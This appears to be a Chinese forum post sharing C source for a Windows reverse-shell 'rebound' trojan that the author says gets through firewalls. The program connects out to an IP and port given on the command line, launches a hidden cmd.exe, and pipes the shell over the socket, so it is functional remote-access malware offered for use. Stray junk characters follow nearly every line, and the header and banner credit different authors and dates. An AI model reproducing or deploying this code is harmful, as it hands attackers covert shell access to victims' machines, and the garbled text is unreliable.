这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Ct]A%=cZW
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/* ============================== zgKY4R{V
Rebound port in Windows NT v-`h>J!Nx
By wind,2006/7 dDtFx2(R
===============================*/ 7=P^_LcU
#include o
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#include V U~Dk);Bv
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#pragma comment(lib,"wsock32.lib") "0&N}
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void OutputShell(); E\{< ;S
SOCKET sClient; vR>o}%`
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; z`$J_Cj Y
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void main(int argc,char **argv) C!%:o/
{ ;sPzOS9
WSADATA stWsaData; nWWM2v
int nRet; 8`v$liH
SOCKADDR_IN stSaiClient,stSaiServer; H?yE3w
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if(argc != 3) kzO&24
{ ~}% ~oT
printf("Useage:\n\rRebound DestIP DestPort\n"); x5Zrz<Y$w
return; hu5!ev2
} A^Cj1:,
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WSAStartup(MAKEWORD(2,2),&stWsaData); ]hTb@.
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); RL}KAGK
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stSaiClient.sin_family = AF_INET; Z=+03
stSaiClient.sin_port = htons(0); NZXjE$<Vr
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Lz4ehWntO
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ZR3nK0
{ 7}B
printf("Bind Socket Failed!\n"); .36^[Jsz":
return;
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stSaiServer.sin_family = AF_INET; H{fM%*w
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 6)*xU|fU
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 8_we:
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) or?%-)
{ 85 ]SC$
printf("Connect Error!"); :tGYs8UK
return; <{ru|-9
}
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OutputShell(); d"THt}
} Q9>U1]\
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void OutputShell() q<{NO/Mm
{ +=3CL2{An
char szBuff[1024]; ``QHG&$/
SECURITY_ATTRIBUTES stSecurityAttributes; 3$p#;a:=n
OSVERSIONINFO stOsversionInfo; Utt>H@t[
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; E{Vo'!LY
STARTUPINFO stStartupInfo; ,M6ZZ* ,e
char *szShell; 4j'd3WGpbN
PROCESS_INFORMATION stProcessInformation; ' UMFS
unsigned long lBytesRead; ]~c+'E`
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); RR|\- 8;
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); YD[H
stSecurityAttributes.lpSecurityDescriptor = 0; pSAR/':eg
stSecurityAttributes.bInheritHandle = TRUE; HW_& !ye
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); d'HOpJE
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); |. C1|J'Z
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); "Pc$\zJm;
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [ygF0-3ND
stStartupInfo.wShowWindow = SW_HIDE; +m$5a
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stStartupInfo.hStdInput = hReadPipe; #V_GOy1-
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; mJ
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GetVersionEx(&stOsversionInfo); :Jxh2
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switch(stOsversionInfo.dwPlatformId) }NmNanW^
{ (GU9p>2
case 1: m *X7T
szShell = "command.com"; -l*g~7|j
break; ae`|ic
default: ^Udv]Wh
szShell = "cmd.exe"; ?&c:q3_-Z
break; y{=NP
} d#_m.j
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Tj/GClD:%
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send(sClient,szMsg,77,0); Kn}ub+
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while(1) dbF M,"^
{ :Ml7G
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); `rFAZcEj%
if(lBytesRead) mP}#Ccji?
{ Np,2j KF(
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); KS<Jv;
send(sClient,szBuff,lBytesRead,0); xAdq+$><
} d>i13dAI
else Z`_.x
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{ 1Ix3i9
lBytesRead=recv(sClient,szBuff,1024,0); W)=%mdxW0
if(lBytesRead<=0) break; Fvl`2W94;
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Ill[]O
} yp]@^T N
} z;3NiY
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return; rU\[SrIhz
}